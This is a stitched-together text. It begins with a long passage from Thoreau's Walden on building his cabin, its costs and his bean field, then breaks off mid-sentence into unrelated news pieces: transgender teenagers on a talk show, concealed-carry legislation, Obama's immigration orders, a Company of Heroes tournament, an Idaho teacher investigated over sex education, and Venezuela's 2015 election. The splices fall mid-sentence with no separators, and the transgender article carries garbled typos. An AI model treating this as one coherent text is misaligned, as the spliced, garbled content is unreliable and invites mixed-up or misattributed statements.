In this course which our ancestors took there was a show of prudence at least, as if their principle were to satisfy the more pressing wants first. But are the more pressing wants satisfied now? When I think of acquiring for myself one of our luxurious dwellings, I am deterred, for, so to speak, the country is not yet adapted to human culture, and we are still forced to cut our spiritual bread far thinner than our forefathers did their wheaten. Not that all architectural ornament is to be neglected even in the rudest periods; but let our houses first be lined with beauty, where they come in contact with our lives, like the tenement of the shellfish, and not overlaid with it. But, alas! I have been inside one or two of them, and know what they are lined with.
Though we are not so degenerate but that we might possibly live in a cave or a wigwam or wear skins today, it certainly is better to accept the advantages, though so dearly bought, which the invention and industry of mankind offer. In such a neighborhood as this, boards and shingles, lime and bricks, are cheaper and more easily obtained than suitable caves, or whole logs, or bark in sufficient quantities, or even well-tempered clay or flat stones. I speak understandingly on this subject, for I have made myself acquainted with it both theoretically and practically. With a little more wit we might use these materials so as to become richer than the richest now are, and make our civilization a blessing. The civilized man is a more experienced and wiser savage. But to make haste to my own experiment.
Near the end of March, 1845, I borrowed an axe and went down to the woods by Walden Pond, nearest to where I intended to build my house, and began to cut down some tall, arrowy white pines, still in their youth, for timber. It is difficult to begin without borrowing, but perhaps it is the most generous course thus to permit your fellow-men to have an interest in your enterprise. The owner of the axe, as he released his hold on it, said that it was the apple of his eye; but I returned it sharper than I received it. It was a pleasant hillside where I worked, covered with pine woods, through which I looked out on the pond, and a small open field in the woods where pines and hickories were springing up. The ice in the pond was not yet dissolved, though there were some open spaces, and it was all dark colored and saturated with water. There were some slight flurries of snow during the days that I worked there; but for the most part when I came out on to the railroad, on my way home, its yellow sand heap stretched away gleaming in the hazy atmosphere, and the rails shone in the spring sun, and I heard the lark and pewee and other birds already come to commence another year with us. They were pleasant spring days, in which the winter of man’s discontent was thawing as well as the earth, and the life that had lain torpid began to stretch itself. One day, when my axe had come off and I had cut a green hickory for a wedge, driving it with a stone, and had placed the whole to soak in a pond hole in order to swell the wood, I saw a striped snake run into the water, and he lay on the bottom, apparently without inconvenience, as long as I stayed there, or more than a quarter of an hour; perhaps because he had not yet fairly come out of the torpid state. It appeared to me that for a like reason men remain in their present low and primitive condition; but if they should feel the influence of the spring of springs arousing them, they would of necessity rise to a higher and more ethereal life. I had previously seen the snakes in frosty mornings in my path with portions of their bodies still numb and inflexible, waiting for the sun to thaw them. On the 1st of April it rained and melted the ice, and in the early part of the day, which was very foggy, I heard a stray goose groping about over the pond and cackling as if lost, or like the spirit of the fog.
So I went on for some days cutting and hewing timber, and also studs and rafters, all with my narrow axe, not having many communicable or scholar-like thoughts, singing to myself,—
Men say they know many things;
But lo! they have taken wings,—
The arts and sciences,
And a thousand appliances;
The wind that blows
Is all that any body knows.
I hewed the main timbers six inches square, most of the studs on two sides only, and the rafters and floor timbers on one side, leaving the rest of the bark on, so that they were just as straight and much stronger than sawed ones. Each stick was carefully mortised or tenoned by its stump, for I had borrowed other tools by this time. My days in the woods were not very long ones; yet I usually carried my dinner of bread and butter, and read the newspaper in which it was wrapped, at noon, sitting amid the green pine boughs which I had cut off, and to my bread was imparted some of their fragrance, for my hands were covered with a thick coat of pitch. Before I had done I was more the friend than the foe of the pine tree, though I had cut down some of them, having become better acquainted with it. Sometimes a rambler in the wood was attracted by the sound of my axe, and we chatted pleasantly over the chips which I had made.
By the middle of April, for I made no haste in my work, but rather made the most of it, my house was framed and ready for the raising. I had already bought the shanty of James Collins, an Irishman who worked on the Fitchburg Railroad, for boards. James Collins’ shanty was considered an uncommonly fine one. When I called to see it he was not at home. I walked about the outside, at first unobserved from within, the window was so deep and high. It was of small dimensions, with a peaked cottage roof, and not much else to be seen, the dirt being raised five feet all around as if it were a compost heap. The roof was the soundest part, though a good deal warped and made brittle by the sun. Door-sill there was none, but a perennial passage for the hens under the door board. Mrs. C. came to the door and asked me to view it from the inside. The hens were driven in by my approach. It was dark, and had a dirt floor for the most part, dank, clammy, and aguish, only here a board and there a board which would not bear removal. She lighted a lamp to show me the inside of the roof and the walls, and also that the board floor extended under the bed, warning me not to step into the cellar, a sort of dust hole two feet deep. In her own words, they were “good boards overhead, good boards all around, and a good window,”—of two whole squares originally, only the cat had passed out that way lately. There was a stove, a bed, and a place to sit, an infant in the house where it was born, a silk parasol, gilt-framed looking-glass, and a patent new coffee mill nailed to an oak sapling, all told. The bargain was soon concluded, for James had in the meanwhile returned. I to pay four dollars and twenty-five cents to-night, he to vacate at five to-morrow morning, selling to nobody else meanwhile: I to take possession at six. It were well, he said, to be there early, and anticipate certain indistinct but wholly unjust claims on the score of ground rent and fuel. This he assured me was the only encumbrance. At six I passed him and his family on the road. One large bundle held their all,—bed, coffee-mill, looking-glass, hens,—all but the cat, she took to the woods and became a wild cat, and, as I learned afterward, trod in a trap set for woodchucks, and so became a dead cat at last.
I took down this dwelling the same morning, drawing the nails, and removed it to the pond side by small cartloads, spreading the boards on the grass there to bleach and warp back again in the sun. One early thrush gave me a note or two as I drove along the woodland path. I was informed treacherously by a young Patrick that neighbor Seeley, an Irishman, in the intervals of the carting, transferred the still tolerable, straight, and drivable nails, staples, and spikes to his pocket, and then stood when I came back to pass the time of day, and look freshly up, unconcerned, with spring thoughts, at the devastation; there being a dearth of work, as he said. He was there to represent spectatordom, and help make this seemingly insignificant event one with the removal of the gods of Troy.
I dug my cellar in the side of a hill sloping to the south, where a woodchuck had formerly dug his burrow, down through sumach and blackberry roots, and the lowest stain of vegetation, six feet square by seven deep, to a fine sand where potatoes would not freeze in any winter. The sides were left shelving, and not stoned; but the sun having never shone on them, the sand still keeps its place. It was but two hours’ work. I took particular pleasure in this breaking of ground, for in almost all latitudes men dig into the earth for an equable temperature. Under the most splendid house in the city is still to be found the cellar where they store their roots as of old, and long after the superstructure has disappeared posterity remark its dent in the earth. The house is still but a sort of porch at the entrance of a burrow.
At length, in the beginning of May, with the help of some of my acquaintances, rather to improve so good an occasion for neighborliness than from any necessity, I set up the frame of my house. No man was ever more honored in the character of his raisers than I. They are destined, I trust, to assist at the raising of loftier structures one day. I began to occupy my house on the 4th of July, as soon as it was boarded and roofed, for the boards were carefully feather-edged and lapped, so that it was perfectly impervious to rain; but before boarding I laid the foundation of a chimney at one end, bringing two cartloads of stones up the hill from the pond in my arms. I built the chimney after my hoeing in the fall, before a fire became necessary for warmth, doing my cooking in the mean while out of doors on the ground, early in the morning: which mode I still think is in some respects more convenient and agreeable than the usual one. When it stormed before my bread was baked, I fixed a few boards over the fire, and sat under them to watch my loaf, and passed some pleasant hours in that way. In those days, when my hands were much employed, I read but little, but the least scraps of paper which lay on the ground, my holder, or tablecloth, afforded me as much entertainment, in fact answered the same purpose as the Iliad.
It would be worth the while to build still more deliberately than I did, considering, for instance, what foundation a door, a window, a cellar, a garret, have in the nature of man, and perchance never raising any superstructure until we found a better reason for it than our temporal necessities even. There is some of the same fitness in a man’s building his own house that there is in a bird’s building its own nest. Who knows but if men constructed their dwellings with their own hands, and provided food for themselves and families simply and honestly enough, the poetic faculty would be universally developed, as birds universally sing when they are so engaged? But alas! we do like cowbirds and cuckoos, which lay their eggs in nests which other birds have built, and cheer no traveller with their chattering and unmusical notes. Shall we forever resign the pleasure of construction to the carpenter? What does architecture amount to in the experience of the mass of men? I never in all my walks came across a man engaged in so simple and natural an occupation as building his house. We belong to the community. It is not the tailor alone who is the ninth part of a man; it is as much the preacher, and the merchant, and the farmer. Where is this division of labor to end? and what object does it finally serve? No doubt another may also think for me; but it is not therefore desirable that he should do so to the exclusion of my thinking for myself.
True, there are architects so called in this country, and I have heard of one at least possessed with the idea of making architectural ornaments have a core of truth, a necessity, and hence a beauty, as if it were a revelation to him. All very well perhaps from his point of view, but only a little better than the common dilettantism. A sentimental reformer in architecture, he began at the cornice, not at the foundation. It was only how to put a core of truth within the ornaments, that every sugar plum in fact might have an almond or caraway seed in it,—though I hold that almonds are most wholesome without the sugar,—and not how the inhabitant, the indweller, might build truly within and without, and let the ornaments take care of themselves. What reasonable man ever supposed that ornaments were something outward and in the skin merely,—that the tortoise got his spotted shell, or the shellfish its mother-o’-pearl tints, by such a contract as the inhabitants of Broadway their Trinity Church? But a man has no more to do with the style of architecture of his house than a tortoise with that of its shell: nor need the soldier be so idle as to try to paint the precise color of his virtue on his standard. The enemy will find it out. He may turn pale when the trial comes. This man seemed to me to lean over the cornice, and timidly whisper his half truth to the rude occupants who really knew it better than he. What of architectural beauty I now see, I know has gradually grown from within outward, out of the necessities and character of the indweller, who is the only builder,—out of some unconscious truthfulness, and nobleness, without ever a thought for the appearance and whatever additional beauty of this kind is destined to be produced will be preceded by a like unconscious beauty of life. The most interesting dwellings in this country, as the painter knows, are the most unpretending, humble log huts and cottages of the poor commonly; it is the life of the inhabitants whose shells they are, and not any peculiarity in their surfaces merely, which makes them picturesque; and equally interesting will be the citizen’s suburban box, when his life shall be as simple and as agreeable to the imagination, and there is as little straining after effect in the style of his dwelling. A great proportion of architectural ornaments are literally hollow, and a September gale would strip them off, like borrowed plumes, without injury to the substantials. They can do without architecture who have no olives nor wines in the cellar. What if an equal ado were made about the ornaments of style in literature, and the architects of our bibles spent as much time about their cornices as the architects of our churches do? So are made the belles-lettres and the beaux-arts and their professors. Much it concerns a man, forsooth, how a few sticks are slanted over him or under him, and what colors are daubed upon his box. It would signify somewhat, if, in any earnest sense, he slanted them and daubed it; but the spirit having departed out of the tenant, it is of a piece with constructing his own coffin,—the architecture of the grave, and “carpenter” is but another name for “coffin-maker.” One man says, in his despair or indifference to life, take up a handful of the earth at your feet, and paint your house that color. Is he thinking of his last and narrow house? Toss up a copper for it as well. What an abundance of leisure he must have! Why do you take up a handful of dirt? Better paint your house your own complexion; let it turn pale or blush for you. An enterprise to improve the style of cottage architecture! When you have got my ornaments ready I will wear them.
Before winter I built a chimney, and shingled the sides of my house, which were already impervious to rain, with imperfect and sappy shingles made of the first slice of the log, whose edges I was obliged to straighten with a plane.
I have thus a tight shingled and plastered house, ten feet wide by fifteen long, and eight-feet posts, with a garret and a closet, a large window on each side, two trap doors, one door at the end, and a brick fireplace opposite. The exact cost of my house, paying the usual price for such materials as I used, but not counting the work, all of which was done by myself, was as follows; and I give the details because very few are able to tell exactly what their houses cost, and fewer still, if any, the separate cost of the various materials which compose them:—
Boards.......................... $ 8.03½, mostly shanty boards. Refuse shingles for roof sides,.. 4.00 Laths,........................... 1.25 Two second-hand windows with glass,................... 2.43 One thousand old brick,.......... 4.00 Two casks of lime,............... 2.40 That was high. Hair,............................ 0.31 More than I needed. Mantle-tree iron,................ 0.15 Nails,........................... 3.90 Hinges and screws,............... 0.14 Latch,........................... 0.10 Chalk,........................... 0.01 Transportation,.................. 1.40 I carried a good part ———— on my back. In all,..................... $28.12½
These are all the materials excepting the timber stones and sand, which I claimed by squatter’s right. I have also a small wood-shed adjoining, made chiefly of the stuff which was left after building the house.
I intend to build me a house which will surpass any on the main street in Concord in grandeur and luxury, as soon as it pleases me as much and will cost me no more than my present one.
I thus found that the student who wishes for a shelter can obtain one for a lifetime at an expense not greater than the rent which he now pays annually. If I seem to boast more than is becoming, my excuse is that I brag for humanity rather than for myself; and my shortcomings and inconsistencies do not affect the truth of my statement. Notwithstanding much cant and hypocrisy,—chaff which I find it difficult to separate from my wheat, but for which I am as sorry as any man,—I will breathe freely and stretch myself in this respect, it is such a relief to both the moral and physical system; and I am resolved that I will not through humility become the devil’s attorney. I will endeavor to speak a good word for the truth. At Cambridge College the mere rent of a student’s room, which is only a little larger than my own, is thirty dollars each year, though the corporation had the advantage of building thirty-two side by side and under one roof, and the occupant suffers the inconvenience of many and noisy neighbors, and perhaps a residence in the fourth story. I cannot but think that if we had more true wisdom in these respects, not only less education would be needed, because, forsooth, more would already have been acquired, but the pecuniary expense of getting an education would in a great measure vanish. Those conveniences which the student requires at Cambridge or elsewhere cost him or somebody else ten times as great a sacrifice of life as they would with proper management on both sides. Those things for which the most money is demanded are never the things which the student most wants. Tuition, for instance, is an important item in the term bill, while for the far more valuable education which he gets by associating with the most cultivated of his contemporaries no charge is made. The mode of founding a college is, commonly, to get up a subscription of dollars and cents, and then following blindly the principles of a division of labor to its extreme, a principle which should never be followed but with circumspection,—to call in a contractor who makes this a subject of speculation, and he employs Irishmen or other operatives actually to lay the foundations, while the students that are to be are said to be fitting themselves for it; and for these oversights successive generations have to pay. I think that it would be better than this, for the students, or those who desire to be benefited by it, even to lay the foundation themselves. The student who secures his coveted leisure and retirement by systematically shirking any labor necessary to man obtains but an ignoble and unprofitable leisure, defrauding himself of the experience which alone can make leisure fruitful. “But,” says one, “you do not mean that the students should go to work with their hands instead of their heads?” I do not mean that exactly, but I mean something which he might think a good deal like that; I mean that they should not play life, or study it merely, while the community supports them at this expensive game, but earnestly live it from beginning to end. How could youths better learn to live than by at once trying the experiment of living? Methinks this would exercise their minds as much as mathematics. If I wished a boy to know something about the arts and sciences, for instance, I would not pursue the common course, which is merely to send him into the neighborhood of some professor, where any thing is professed and practised but the art of life;—to survey the world through a telescope or a microscope, and never with his natural eye; to study chemistry, and not learn how his bread is made, or mechanics, and not learn how it is earned; to discover new satellites to Neptune, and not detect the motes in his eyes, or to what vagabond he is a satellite himself; or to be devoured by the monsters that swarm all around him, while contemplating the monsters in a drop of vinegar. Which would have advanced the most at the end of a month,—the boy who had made his own jackknife from the ore which he had dug and smelted, reading as much as would be necessary for this,—or the boy who had attended the lectures on metallurgy at the Institute in the mean while, and had received a Rodgers’ penknife from his father? Which would be most likely to cut his fingers?... To my astonishment I was informed on leaving college that I had studied navigation!—why, if I had taken one turn down the harbor I should have known more about it. Even the poor student studies and is taught only political economy, while that economy of living which is synonymous with philosophy is not even sincerely professed in our colleges. The consequence is, that while he is reading Adam Smith, Ricardo, and Say, he runs his father in debt irretrievably.
As with our colleges, so with a hundred “modern improvements”; there is an illusion about them; there is not always a positive advance. The devil goes on exacting compound interest to the last for his early share and numerous succeeding investments in them. Our inventions are wont to be pretty toys, which distract our attention from serious things. They are but improved means to an unimproved end, an end which it was already but too easy to arrive at; as railroads lead to Boston or New York. We are in great haste to construct a magnetic telegraph from Maine to Texas; but Maine and Texas, it may be, have nothing important to communicate. Either is in such a predicament as the man who was earnest to be introduced to a distinguished deaf woman, but when he was presented, and one end of her ear trumpet was put into his hand, had nothing to say. As if the main object were to talk fast and not to talk sensibly. We are eager to tunnel under the Atlantic and bring the old world some weeks nearer to the new; but perchance the first news that will leak through into the broad, flapping American ear will be that the Princess Adelaide has the whooping cough. After all, the man whose horse trots a mile in a minute does not carry the most important messages; he is not an evangelist, nor does he come round eating locusts and wild honey. I doubt if Flying Childers ever carried a peck of corn to mill.
One says to me, “I wonder that you do not lay up money; you love to travel; you might take the cars and go to Fitchburg to-day and see the country.” But I am wiser than that. I have learned that the swiftest traveller is he that goes afoot. I say to my friend, Suppose we try who will get there first. The distance is thirty miles; the fare ninety cents. That is almost a day’s wages. I remember when wages were sixty cents a day for laborers on this very road. Well, I start now on foot, and get there before night; I have travelled at that rate by the week together. You will in the mean while have earned your fare, and arrive there some time to-morrow, or possibly this evening, if you are lucky enough to get a job in season. Instead of going to Fitchburg, you will be working here the greater part of the day. And so, if the railroad reached round the world, I think that I should keep ahead of you; and as for seeing the country and getting experience of that kind, I should have to cut your acquaintance altogether.
Such is the universal law, which no man can ever outwit, and with regard to the railroad even we may say it is as broad as it is long. To make a railroad round the world available to all mankind is equivalent to grading the whole surface of the planet. Men have an indistinct notion that if they keep up this activity of joint stocks and spades long enough all will at length ride somewhere, in next to no time, and for nothing; but though a crowd rushes to the depot, and the conductor shouts “All aboard!” when the smoke is blown away and the vapor condensed, it will be perceived that a few are riding, but the rest are run over,—and it will be called, and will be, “A melancholy accident.” No doubt they can ride at last who shall have earned their fare, that is, if they survive so long, but they will probably have lost their elasticity and desire to travel by that time. This spending of the best part of one’s life earning money in order to enjoy a questionable liberty during the least valuable part of it, reminds me of the Englishman who went to India to make a fortune first, in order that he might return to England and live the life of a poet. He should have gone up garret at once. “What!” exclaim a million Irishmen starting up from all the shanties in the land, “is not this railroad which we have built a good thing?” Yes, I answer, comparatively good, that is, you might have done worse; but I wish, as you are brothers of mine, that you could have spent your time better than digging in this dirt.
Before I finished my house, wishing to earn ten or twelve dollars by some honest and agreeable method, in order to meet my unusual expenses, I planted about two acres and a half of light and sandy soil near it chiefly with beans, but also a small part with potatoes, corn, peas, and turnips. The whole lot contains eleven acres, mostly growing up to pines and hickories, and was sold the preceding season for eight dollars and eight cents an acre. One farmer said that it was “good for nothing but to raise cheeping squirrels on.” I put no manure whatever on this land, not being the owner, but merely a squatter, and not expecting to cultivate so much again, and I did not quite hoe it all once. I got out several cords of stumps in ploughing, which supplied me with fuel for a long time, and left small circles of virgin mould, easily distinguishable through the summer by the greater luxuriance of the beans there. The dead and for the most part unmerchantable wood behind my house, and the driftwood from the pond, have supplied the remainder of my fuel. I was obliged to hire a team and a man for the ploughing, though I held the plough myself. My farm outgoes for the first season were, for implements, seed, work, &c., $14.72½. The seed corn was given me. This never costs anything to speak of, unless you plant more than enough. I got twelve bushels of beans, and eighteen bushels of potatoes, beside some peas and sweet corn. The yellow corn and turnips were too late to come to any thing. My whole income from the farm was
$ 23.44 Deducting the outgoes,........... 14.72½ ———— There are left,................. $ 8.71½,
beside produce consumed and on hand at the time this estimate was made of the value of $4.50,—the amount on hand much more than balancing a little grass which I did not raise. All things considered, that is, considering the importance of a man’s soul and of to-day, notwithstanding the short time occupied by my experiment, nay, partly even because of its transient character, I believe that that was doing better than any farmer in Concord did that year.
The next year I did better still, for I spaded up all the land which I required, about a third of an acre, and I learned from the experience of both years, not being in the least awed by many celebrated works on husbandry, Arthur Young among the rest, that if one would live simply and eat only the crop which he raised, and raise no more than he ate, and not exchange it for an insufficient quantity of more luxurious and expensive things, he would need to cultivate only a few rods of ground, and that it would be cheaper to spade up that than to use oxen to plough it, and to select a fresh spot from time to time than to manure the old, and he could do all his necessary farm work as it were with his left hand at odd hours in the summer; and thus he would not be tied to an ox, or horse, or cow, or pig, as at present. I desire to speak impartially on this point, and as one not interested in the success or failure of the present economical and social arrangements. I was more independent than any farmer in Concord, for I was not anchored to a house or farm, but could follow the bent of my genius, which is a very crooked one, every moment. Beside being better off than they already, if my house had been burned or my crops had failed, I should have been nearly as well off as before.
I am wont to think that men are not so much the keepers of herds as herds are the keepers of men, the former are so much the freer. Men and oxen exchange work; but if we consider necessary work only, the oxen will be seen to have greatly the advantage, their farm is so much the larger. Man does some of his part of the exchange work in his six weeks of haying, and it is no boy’s play. Certainly no nation that lived simply in all respects, that is, no nation of philosophers, would commit so great a blunder as to use the labor of animals. True, there never was and is not likely soon to be a nation of philosophers, nor am I certain it is desirable that there should be. However, I should never have broken a horse or bull and taken him to board for any work he might do for me, for fear I should become a horse-man or a herds-man merely; and if society seems to be the gainer by so doing, are we certain that what is one man’s gain is not another’s loss, and that the stable-boy has equal cause with his master to be satisfied? Granted that some public works would not have been constructed without this aid, and let man share the glory of such with the ox and horse; does it follow that he could not have accomplished works yet more worthy of himself in that case? When men begin to do, not merely unnecessary or artistic, but luxurious and idle work, with their assistance, it is inevitable that a few do all the exchange work with the oxen, or, in other words, become the slaves of the strongest. Man thus not only works for the animal within him, but, for a symbol of this, he works for the animal without him. Though we have many substantial houses of brick or stone, the prosperity of the farmer is still measured by the degree to which the barn overshadows the house. This town is said to have the largest houses for oxen, cows, and horses hereabouts, and it is not behindhand in its public buildings; but there are very few halls for free worship or free speech in this county. It should not be by their architecture, but why not even by their power of abstract thought, that nations should seek to commemorate themselves? How much more admirable the Bhagvat-Geeta than all the ruins of the East! Towers and temples are the luxury of princes'I was suicidal at age seven': Transgender teen on her painful transition into adulthood and how she still finds physical intimacy difficult
Katie Hill, 19, from Tulsa, Oklahoma, was previously called Luke and underwent sex-change surgery last year
The pretty brunette has found comfort in Arin Andrews, 17, a transgender boy who also encountered prejudice growing up
Arin has had cross-sex hormone therapy and is considering genital surgery
A transgender teenager has told how she suicidal thoughts at the age of seven, as she grappled to come to terms with the fact she a femle trapped indie a male body.
Katie Hill, 19, form Tulsa, Oklahoma, explained in a trailer for today’s edition of Trisha, that when she hit puberty the emotional pain increased as she encountered ‘verbal exclusion’ and ‘physical abuse’ from peers.
But now the pretty brunette, who had gender reassignment surgery last year, has found comfort in a transgender boy who went through a similar experience growing up.
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Emotional journey: Katie Hill, 19, said she had suicidal thoughts at the age of seven, as she grappled to come to terms with the fact she a female trapped indie a male body
Arin Andrews, 17, was born a girl called Emerald, who excelled at ballet dancing and won beauty contests.
He and Katie met almost two years ago at a support group for transgendered teenagers and bonded through their shared stories.
While Katie has fully transitioned, thanks to a $35,000 donation form an anonymous donor who read her story in a local newspaper, Arin is still awaiting sex-change surgery.
Asked by Trisha if they are physically intimate with each other, Katie replied: ‘It’s a little bit harder, [there’s] no matching gear. The intimacy’s not there really.’
Shared stories: Now the pretty brunette, who had gender reassignment surgery last year, has found comfort in Arin, 17, who went through a similar experience growing up
Changed lives: Luke Hill (left), before he became Katie, aged seven |
example, if you have a driver’s license in Texas, you can drive in New York, in Utah and other places, subject to the laws of those states.” Cornyn, a Texas Republican, said this would “eliminate some of the ‘gotcha moments,’ where people inadvertently cross state lines” with guns they are legally allowed to carry in their home state.
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This lattermost claim is almost certainly a direct reference to Shaneen Allen, the single mother who was threatened with ten years in jail for crossing into New Jersey with a concealed handgun. And rightly so. As more and more Americans buy guns and obtain concealed carry permits, legislation such as this is going to be deemed increasingly necessary.
Having said that, there is a raging debate on the right as to how this relates to the important question of federalism, and whether the legislation would be justified by the full faith and credit clause. I’m never quite sure what I think, but I nevertheless tried to sum up the state of the disagreement a few months ago.
Similar legislation has been introduced into the last few Congresses, but has never made it out. One can only imagine that, should this session be different, President Obama would veto the measure.FILE - In this Nov. 5, 2014 file photo, President Barack Obama answers questions during a news conference in the East Room of the White House, in Washington. Economists acknowledge that the list of options is limited but say there are several steps Obama and Republicans in Congress can take to further invigorate the economy. (AP Photo/Pablo Martinez Monsivais, File)
President Barack Obama will announce executive orders on immigration Thursday during an address to the nation, the White House confirmed in a Facebook video.
"Everybody agrees that our immigration system is broken. Unfortunately Washington has allowed the problem to fester for too long," Obama said in the video. "So what I'm going to be laying out is the things that I can do with my lawful authority as president to make the system work better even as I continue to work with Congress and encourage them to get a bipartisan, comprehensive bill that can solve the entire problem."
Obama will speak at 8 p.m. ET on Thursday. He will follow up the announcement with a rally Friday in Las Vegas at Del Sol High School.
Fox News and The New York Times previously reported on the immigration plan, which could give deportation relief to millions of undocumented immigrants living in the U.S.
On Tuesday, Senate Majority Leader Harry Reid (D-Nev.) encouraged the president to "go big," clarifying earlier remarks he'd made about getting "the finances of this country out of the way before" Obama announced executive orders on immigration. Top Democrats have pledged to stand behind Obama on the issue.
But others weren't so encouraging. Sen. Rob Portman (R-Ohio) said Wednesday he believed lawsuits would be filed if Obama acted alone on immigration.
Here's The White House's Facebook post:Streamers Cup - 1v1 Invitational Tournament
After a first round of blistering encounters, our eight combatants have become four. This weekend we'll see them meet in battle, in what's sure to be a ferocious series of engagements to decide the Champion. Who'll bite the dust, who'll fight the hardest, whose conviction will prevail?
The Story So Far:
pl3xy and Sandland duked it out over Langres in a grueling first round match as the iron fist of the PE met the hard steel of American armor in a one hour fourteen minute slug fest.
The following games saw pl3xy try to knock Sandland further off balance with his shock-tactic Brit play, but unfortunately for him, the clever Dane got the better of him.
Two titans of the game locked horns in an fast and furious display of CoH bravado. They both took a quick win of each other on Langres and set themselves up for a heated encounter on Semois.
The decider saw Tommy get the better of Symbiosis in the early game, knocking him into the ropes. Like Muhammed Ali of old, Symbiosis seems to relish the opportunity to soak up pressure, and then unleash it in a torrent of hellfire. This game was no exception!
Show Spoiler
With the aid of on map howitzer fire Symbiosis rushed the centre of Semois; routing Tommy's forces. When the dust had settled Tommy had lost eight units in two minutes of fighting. MG (arty) - puma (AT) - pak (captured) - sniper (bar fire) - nebel (captured) - gren (arty) - halftrack (arty) - nebel (M8).
Tommy valiantly fought on, waiting for the Königstiger but the damage had already been done, losing eight units like that in quick succession is enough to cost anyone the game.
Unfortunately for Dane of Imperity, master of propaganda, Knights Cross holder with oak leaves, hero of The Reich, defender of The Fatherland, scourge of the Soviet rat - he got beaten rather heavily by Pepsi, who mercilessly looked past the Propaganda Minister's honours and smote him.
Sepha tried to take Stephenn to Company of Heroes school in this encounter. The experienced veteran of a seven year campaign just had too much experience for the baby-faced Aussie to handle. That's not to disrespect Stephenn though, as he showed he had fighting courage and strength in abundance - but against the cold hard hand of battle tested veterancy, he couldn't get the edge over the wizened Brit.
Semi-Finals and Final
The Semi-Finals will be a Best-of-Three with the first two games on Angoville and a possible decider on Semois.
The Final will be a punishing Best-of-Five series spanning Langres, Angoville and then Semois if needed.
The battle lines are drawn leaving us with our four remaining commanders, battle scared, war weary, but unbroken. The bracket stands with the competitors poised for battle.
Semi-Final One: Friday Night, February 22nd, 18:00GMT
The dastardly Dane vs. the devious Dutchman. This will be an intriguing and unpredictable strategical contest, between two of the game's greatest commanders. How will each player handle Angoville's unforgiving cut-offs and war uncompromising battlefield conditions - tune in to find out!
Semi-Final Two: Friday Night, February 22nd, 21:00GMT
A clash of battlefield personalities, two born and bred leaders of men, schooled in the tactics of war from a young age meet. Chivalry, honour and'manner' will be thrown aside as both generals throw everything they have at each other. Will the Frenchman's fury be too much to handle or will the plucky Brit's barrage prove too strong?
The Final: Sunday Night, February 24th, 20:00GMT
What more can be said? The only thing left is war. Brutal uncompromising and fatal. There can only be two challengers and there will only be one victor - but what is to be sure, is that both Generals will have earned our respect.
Watch the games from pl3xy's perespective, or from Sandland's. Replays: G1, hosted on mediafire as it's more than 1MB. G2 Games from Tommy's perspective or from Symbiosis Replays: G1 G3. - G3 casted by Imperial Dane.Games from Dane's perspective or from Pepsi's Games from Stephenn's perspective or from Sepha's ____________________________________________________________See you in the stream chats!Parents in Dietrich, Idaho, say the word "vagina" has no place in a 10th grade science class, according to news website MagicValley.com.
A small group from Dietrich, population 332, complained to the Idaho State Department of Education, which launched an official investigation of science teacher Tim McDaniel. He is accused of teaching "sex education material" in a science class, describing "inappropriate" forms of birth control, telling "inappropriate" jokes in class and showing a video clip that depicted a genital herpes infection.
McDaniel said the parents even objected to his use of the word "vagina" in the lesson on human reproduction, according to MagicValley.com.
At a school board meeting, Katie Norman, one of the parents who objected, reportedly demanded prior warning of sensitive topics like birth control so that she could excuse her child from the class.
But McDaniel told MagicValley.com that none of the 10th graders are required to attend that day's class and that he only handles sex education because the school's health teacher won't.
The teacher said he is cooperating with the investigation but denies any wrongdoing. "I've done nothing wrong," he told the website.
Locals who have joined a Facebook page called "Save The Science Teacher!!" contend that conservative parents are attempting to censor topics considered controversial in the political arena but commonplace in the classroom. They promise to defend McDaniels in written letters to the state’s education department.
Dietrich Superintendent Neil Hollingshead told MagicValley.com that the school board is more likely to send McDaniel a letter of reprimand than to dismiss him -- a move Hollingshead considers "highly unlikely." But McDaniel has said he will refuse to sign the letter if it arrives, and it seems that some parents will back him up.
Stacy La, a member of the Facebook group, outlined the reasons for her support on the page's timeline, noting that McDaniel taught from the textbook and offered students uncomfortable with the material a chance to opt out of the lesson entirely. She offered squeamish parents their own exit strategy.
La wrote, "Mr. McDaniel showed a video and let the children form their opinions. He did not push anything. If you want to be in full control of what your child learns, homeschool them. Period."
The Facebook page is also bringing McDaniel support from outside his school district:
I am actually pretty mortified for this poor teacher who was just doing his job, I am embarrassed for the parents who have a problem with these things being taught in a school, and I am concerned for the children whose parents object. -- Brandy Farlow from Moscow, Idaho
I used to be a high school science teacher. This is the most ridiculous thing I have ever heard. Why is the school system not supporting this teacher for doing his job? I'm disgusted. Things like this are why I'm glad I'm not teaching any more. -- Lisa Sharktopus Harless from Morgantown, W.Va.
Parental and political clashes are not uncommon when hot-button issues surface in school lessons -- from evolution to Mexican American studies. Sex education is a particularly sensitive topic, however, and parents often complain that it's too explicit or conflicts with their religious beliefs.
When NPR's "Talk of the Nation" profiled New York City's sex ed curriculum, the segment explained how outside experts consider local politics to find the delicate balance between what's acceptable, what's taboo and what students need to hear. Warning: This link might discuss vaginas.Venezuela is voting in parliamentary elections on Sunday seen as the first significant challenge to the governing socialist party and the legacy of former President Hugo Chavez. The election is regarded as a referendum on Maduro, who previously served as Chavez's vice president and became president after Chavez's death in 2013. File photo by Gary I. Rothstein/UPI | License Photo
CARACAS, Venezuela, Dec. 6 (UPI) -- Venezuela is voting in parliamentary elections on Sunday seen as the first significant challenge to the governing socialist party and the legacy of former President Hugo Chavez.
Voters will elect all 167 members of Venezuela's unicameral National Assembly. President Nicolás Maduro's ruling United Socialist Party of Venezuela (PSUV) and the Democratic Unity Roundtable (MUD) opposition coalition are both hoping to win at least a simple majority in the legislative body, which would require 84 seats.
For a qualified majority, or supermajority, 111 seats are needed. National Assembly members are elected to five-year terms.
In some areas of the country, alarms and sirens were used at 5 a.m. to remind citizens of their civic duty. Polls opened at 6 a.m. local time and should remain open until 6 p.m.
The election is regarded as a referendum on Maduro, who previously served as Chavez's vice president and became president after Chavez's death in 2013. Maduro narrowly survived a constitutionally-required presidential election a month after Chavez died.
RELATED Venezuela arrests 3 linked to slaying of opposition leader Luis Manuel Díaz
About 85 percent of people in Venezuela are dissatisfied with the status of the country, up from 57 percent soon after Chavez died, according to a recent study by Pew Research Center. Only 8 percent of Venezuelans aged 18 to 29 are happy with the country's condition, compared to 21 percent of Venezuelans aged 50 and older.
The MUD, a coalition of 29 political parties united in opposition to Maduro, are hoping to turn Venezuela's unhappiness into a parliamentary victory. Maduro's approval ratings are often below 30 percent and critics blame the PSUV for Venezuela's economic failures.
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"They say they're winning in the polls. It's the same story of the last 17 years," Maduro said at one election rally. "Let them win in the polls, we will win in the streets."
RELATED Venezuelan opposition leader Leopoldo Lopez sentenced to nearly 14 years
